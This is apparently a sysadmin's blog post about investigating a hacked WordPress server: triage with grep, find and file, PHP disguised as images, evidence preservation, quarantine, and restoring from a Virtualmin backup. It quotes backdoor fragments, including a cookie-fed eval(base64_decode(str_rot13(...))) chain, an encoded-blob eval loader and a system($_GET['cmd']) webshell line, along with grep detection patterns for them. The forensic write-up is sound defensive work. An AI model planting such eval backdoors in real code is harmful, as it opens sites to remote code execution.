The files that finally made me stop guessing and start believing the evidence
By SepedaTua — CrushEdge.com
At some point during the investigation, I stopped asking:
“Was the server hacked?”
That question was already answered.
The better question was:
“What exactly did the attacker leave behind?”
That changed the investigation completely.
Instead of staring at thousands of normal WordPress files, I started looking for things that simply did not belong.
And some of them were surprisingly obvious.
1. The first red flag: files with completely normal-looking names
One of the files we found was:
bf6f03.php
At first glance, there is nothing particularly interesting about that filename.
That’s precisely the problem.
Attackers don’t necessarily name their files:
HACKED_BY_EVIL_HACKER.php
Sometimes they use short random-looking names:
bf6f03.php
That makes them blend into a large WordPress installation.
A site can contain thousands of files.
One more PHP file doesn’t immediately stand out.
2. The file didn’t need a complicated name
The important part wasn’t the filename.
It was the contents.
The file contained the kind of construction I was looking for:
eval(base64_decode(str_rot13($_COOKIE[...]));
That’s a very different thing from ordinary WordPress application code.
The basic idea is:
HTTP cookie
│
▼
encoded data
│
▼
decoded
│
▼
executed as PHP
That gives an attacker a way to send instructions to the server without putting those instructions directly into the URL.
That’s why this kind of pattern immediately deserves investigation.
3. Obfuscation is there for a reason
Let’s break the suspicious expression apart.
First:
$_COOKIE
This means data is coming from an HTTP cookie.
Then:
str_rot13(...)
The data is transformed.
Then:
base64_decode(...)
It is decoded again.
Finally:
eval(...)
The resulting string is executed as PHP.
Conceptually:
attacker-controlled input
↓
COOKIE
↓
ROT13
↓
Base64
↓
decode
↓
eval
↓
PHP execution
That is exactly the sort of chain I don’t want sitting inside an unexplained PHP file.
4. This is why simple grep is useful
During the investigation, one of the most useful searches was:
grep -RInE \
'eval\s*\(\s*base64_decode\s*\(\s*str_rot13' \
/home/intodroid/public_html \
--include='*.php' \
2>/dev/null
And another:
grep -RInE \
'\$_(GET|POST|REQUEST|COOKIE).*?(eval|assert|system|exec|shell_exec|passthru|popen|proc_open)' \
/home/intodroid/public_html \
--include='*.php' \
2>/dev/null
These aren’t malware detectors.
They are triage tools.
That’s an important distinction.
5. Why my first grep produced too much output
This was one of the lessons from the investigation.
If you run:
grep -RInE 'eval|base64_decode|system|exec' ...
on a large WordPress installation, you can get a mountain of output.
And then you’re sitting there at 2 AM thinking:
“Great. Everything is malware.”
No.
WordPress, PHP libraries, plugins and third-party code can legitimately contain some of these functions.
The useful question is not:
“Does this function exist?”
It is:
“Why does this file contain this combination of functions, and what is the input?”
6. The filename and location make the finding stronger
A suspicious expression inside a well-known WordPress library is one thing.
The same expression inside:
wp-content/uploads/
is very different.
Likewise:
random-name.php
in a directory that normally contains:
images
css
fonts
is suspicious.
This became an important principle during the investigation:
Location matters as much as content.
7. Then came the fake images
This was one of the more interesting discoveries.
The filesystem contained files with extensions such as:
.jpeg
.gif
.jpg
.png
.ico
.bmp
But file reported:
PHP script
That is a huge red flag.
For example, the investigation found files along the lines of:
.../something.jpeg
-> PHP script, ASCII text
and:
.../something.gif
-> PHP script
The extension says:
image
The contents say:
PHP
Those two things don’t agree.
8. The file command became one of my favorite tools
The command is wonderfully boring:
file suspicious-file
For example:
file example.jpg
A genuine JPEG should identify itself as an image.
Something like:
JPEG image data
A disguised PHP file may instead produce:
PHP script, ASCII text
That mismatch is extremely useful.
9. Scanning all image files
The broader scan looked like this:
find /home \
-type f \
\( -iname '*.jpg' -o -iname '*.jpeg' -o -iname '*.png' \
-o -iname '*.gif' -o -iname '*.webp' -o -iname '*.ico' \
-o -iname '*.bmp' -o -iname '*.avif' \) \
-print0 2>/dev/null |
while IFS= read -r -d '' f; do
type=$(file -b "$f")
case "$type" in
*"PHP script"*|*"HTML document"*|*"ASCII text"*|*"Unicode text"*)
printf '%s\n -> %s\n' "$f" "$type"
;;
esac
done
This produced some very interesting results.
But it also taught me something important.
10. Not every strange-looking image file is malicious
For example, some legitimate software libraries contain text-based assets.
During the investigation, some files associated with JPGraph were reported as:
ASCII text
That doesn’t automatically mean:
JPGraph = compromised
It means:
“This file isn’t being recognized as a conventional binary image.”
That’s all.
So I didn’t delete every result.
I investigated the context.
11. But PHP disguised as an image is another story
When file says:
PHP script
for:
something.jpg
I take that much more seriously.
Especially when several additional clues line up:
random filename
+
weird directory
+
recent modification
+
PHP code
+
obfuscation
At that point, I don’t need to debate whether the JPEG is “probably okay.”
I quarantine it.
12. Another strange clue: directories that shouldn’t exist
Some paths looked like this:
images/images/images/images/
or:
wp-admin/user/user/user/
or:
plugin/src/ui/ui/
A repeated directory name isn’t automatically malicious.
But repeated nesting combined with random filenames is suspicious.
For example:
wp-includes/
images/
blocks/
something/
random.php
makes me ask:
Why is this file here?
That’s a much better question than:
Is this filename malicious?
13. One of the infected files was not even PHP by extension
This is why scanning only:
find ... -name '*.php'
isn’t enough.
The attacker can put executable PHP into:
.jpg
.gif
.png
.ico
.bmp
or other files.
Whether the web server will actually execute such a file depends on configuration.
But the presence of PHP code inside an image file is still evidence worth investigating.
14. The file command gave me a second filesystem view
Normally I think of a file as:
filename → extension
But file gives me:
filename → actual detected content
That’s useful during an incident.
For example:
photo.jpg
is only a filename.
Whereas:
photo.jpg → PHP script
is evidence.
15. Then there was the very large PHP file
Another suspicious file was:
wp-env-setup.php
It was roughly:
243 KB
and contained thousands of lines.
The beginning looked particularly strange because the file started with binary/JPEG-like data before the PHP code.
Then there was a huge sequence of:
$z .= "....";
$z .= "....";
$z .= "....";
followed by:
$decoded = $c($z);
eval("?>".$decoded);
That’s not what I expect from a normal WordPress environment setup file.
16. The interesting part was at the end
The important lines were essentially:
$decoded = $c($z);
eval("?>".$decoded);
The attacker had hidden the actual payload inside a large encoded string.
Instead of writing:
malicious_code_here();
directly into the file, the file reconstructed it and then executed it.
Conceptually:
huge encoded blob
↓
decode
↓
payload
↓
eval()
↓
execute
Again, the interesting thing wasn’t simply:
base64
or:
eval
by itself.
It was the entire construction.
17. I preserved that file before removing it
This is an important incident-response habit.
I first copied it:
cp -a \
/home/customer/public_html/wp-env-setup.php \
/root/wp-env-setup.php.EVIDENCE
Then calculated its hash:
sha256sum /root/wp-env-setup.php.EVIDENCE
That gives me a stable identifier.
If I later need to discuss the file, compare it with another sample, or investigate how it appeared, I have the original.
18. Then I quarantined it
Only after preserving the evidence did I move it out of the web root:
mv \
/home/customer/public_html/wp-env-setup.php \
/home/customer/public_html/wp-env-setup.php.QUARANTINED
This was preferable to immediately doing:
rm wp-env-setup.php
during the investigation.
Delete later.
Preserve first.
19. Another file was much more obvious
We also found:
plugin-bridge.php
But it wasn’t actually a PHP script.
file reported it as:
HTML document
and its contents contained a page branded:
GhostManSec
That is the kind of thing that makes the investigation considerably less ambiguous.
It wasn’t WordPress code.
It wasn’t a normal plugin bridge.
It was an attacker-controlled page sitting inside the website.
20. Not every malicious file needs to be a webshell
This is another thing I learned.
Attackers can leave behind:
webshells
loaders
droppers
fake admin pages
backdoors
redirectors
obfuscated payloads
credential stealers
You don’t need to find a file containing:
system($_GET['cmd']);
before calling something suspicious.
A fake administrative interface is already a problem.
21. This is why I stopped looking for “the malware”
There usually isn’t one magical file.
The filesystem may contain:
initial backdoor
+
secondary loader
+
webshell
+
persistence mechanism
+
disguised payload
Finding one doesn’t prove there aren’t others.
That’s why the investigation became:
Find the indicators and understand the infection scope.
Not:
“Find the one bad PHP file.”
22. The backup became extremely important
Once I had identified suspicious files on the live filesystem, I checked the older backup.
The key question was:
Did these files already exist in the clean backup?
For example:
bf6f03.php
plugin-bridge.php
wp-env-setup.php
were not present in the August 17 backup I examined.
That was useful evidence.
It told me these files appeared after that backup.
23. But the backup format initially confused me
This was a fun little Virtualmin lesson.
I initially tried treating:
intodroid.com.tar.gz
like a conventional archive whose contents would map directly to:
/home/intodroid/public_html/
But Virtualmin’s backup layout wasn’t structured that way.
The full backup showed entries such as:
./public_html/
./wp-admin/
./wp-content/
./homes/
./Maildir/
So the important lesson is:
Don’t assume a Virtualmin backup archive has the same absolute path structure as the live filesystem.
Inspect the archive first.
24. The full backup was the useful baseline
The August 16 full backup contained the site’s:
public_html/
wp-admin/
wp-content/
structure.
The August 17 backup was a differential backup.
That distinction matters when investigating historical files.
A differential backup isn’t necessarily a complete standalone snapshot.
25. This also explained one confusing result
At one point, searching the differential archive produced:
0
for PHP and image files.
That did not mean:
“The backup contains zero PHP files.”
It meant my assumption about how that differential archive should be interpreted was wrong.
This is an important lesson:
A backup archive returning zero results does not automatically mean the files aren’t in the backup system.
Understand the backup type first.
26. The restore strategy became much simpler
Once I understood the Virtualmin backup structure, my recovery objective was:
known-good backup
↓
wipe compromised account
↓
restore
↓
scan restored files
↓
remove anything suspicious
↓
bring service online
That was preferable to trying to surgically repair thousands of files on the compromised installation.
27. And that is an important distinction
There are two very different jobs:
Incident investigation
What happened?
Which files were malicious?
How did they get there?
What else was touched?
Recovery
Get me back to a known-good state.
I initially mixed those jobs together.
That wastes time.
Once I separated them, things became much easier.
28. For the final cleanup, I cared about scope
The goal wasn’t:
“Find every weird file on the server.”
The goal was:
“Identify the accounts and sites that contain credible indicators of compromise.”
That led to a much more useful result.
For example, some restored accounts contained obvious suspicious image/PHP combinations.
Other accounts produced legitimate oddities from libraries such as JPGraph.
Those should not be treated equally.
29. Evidence beats intuition
This is probably the biggest lesson from the whole incident.
I could have looked at:
random filename
and said:
“Malware.”
I could have looked at:
base64_decode()
and said:
“Malware.”
I could have looked at:
ASCII text inside .png
and said:
“Malware.”
All three conclusions could be wrong.
Instead I started stacking evidence:
unexpected location
+
unexpected file type
+
unexpected filename
+
obfuscated PHP
+
attacker-controlled interface
+
appearance after known-good backup
Now the conclusion is much stronger.
30. The incident changed how I inspect WordPress
Before this, I mostly thought about WordPress in terms of:
core
plugins
themes
database
uploads
Now I also think about:
filesystem behavior
file types
timestamps
unexpected directories
persistence
database accounts
SSH keys
cron
services
outbound connections
WordPress is an application.
The server underneath it is the actual battlefield.
31. And I don’t blame WordPress for this
WordPress is extremely common.
That makes it an attractive target.
But blaming WordPress doesn’t solve the underlying problem.
A compromised WordPress site can become an entry point into a much larger environment when:
accounts
permissions
database access
server services
aren’t properly separated.
The lesson isn’t:
“Never use WordPress.”
It’s:
Don’t let a compromised website automatically become a compromised server.
32. What I would investigate first next time
If I wake up tomorrow and suspect another site has been compromised, my first commands are now much more focused.
Recently changed files
find /home/customer/public_html \
-type f \
-newermt '24 hours ago' \
-printf '%TY-%Tm-%Td %TH:%TM:%TS | %s | %p\n' \
2>/dev/null |
sort
New PHP files
find /home/customer/public_html \
-type f \
\( -name '*.php' -o -name '*.phtml' -o -name '*.php5' -o -name '*.php7' \) \
-newermt '24 hours ago' \
-print \
2>/dev/null
PHP disguised as images
find /home/customer/public_html -type f \
\( -iname '*.jpg' -o -iname '*.jpeg' -o -iname '*.png' \
-o -iname '*.gif' -o -iname '*.webp' -o -iname '*.ico' \
-o -iname '*.bmp' -o -iname '*.avif' \) \
-print0 2>/dev/null |
while IFS= read -r -d '' f; do
t=$(file -b "$f")
case "$t" in
*"PHP script"*)
printf '%s | %s\n' "$f" "$t"
;;
esac
done
Obfuscated PHP
grep -RInE \
'eval\s*\(|base64_decode\s*\(|gzinflate\s*\(|gzdecode\s*\(|str_rot13\s*\(' \
/home/customer/public_html \
--include='*.php' \
--include='*.phtml' \
2>/dev/null
Then I investigate the results.
I don’t immediately delete them.
The thing I would do differently
If I could rewind the incident, I would have started with one simple rule:
Preserve evidence first. Clean second.
Once a suspicious file is deleted, some useful information disappears with it.
But once the evidence is safely copied and hashed, I can quarantine it without worrying that I’ve destroyed the only clue.
That small change makes incident response much less chaotic.
And eventually, you have to stop investigating
This is also important.
There comes a point where:
more grep
more find
more logs
more hashes
more suspicious filenames
stops improving the answer.
If I have:
- a known-good backup,
- confirmed malicious files absent from that backup,
- a restored account,
- verified core,
- checked persistence,
- rotated credentials,
- restricted services,
- and monitoring in place,
then I have reached the point where recovery is more valuable than another six hours of forensic archaeology.
I’m a sysadmin, not Batman.
I still have websites to run.
And probably four kids asking why Dad is still staring at a terminal at midnight.
That’s a pretty good signal that it’s time to shut the laptop and go to bed.
No Comments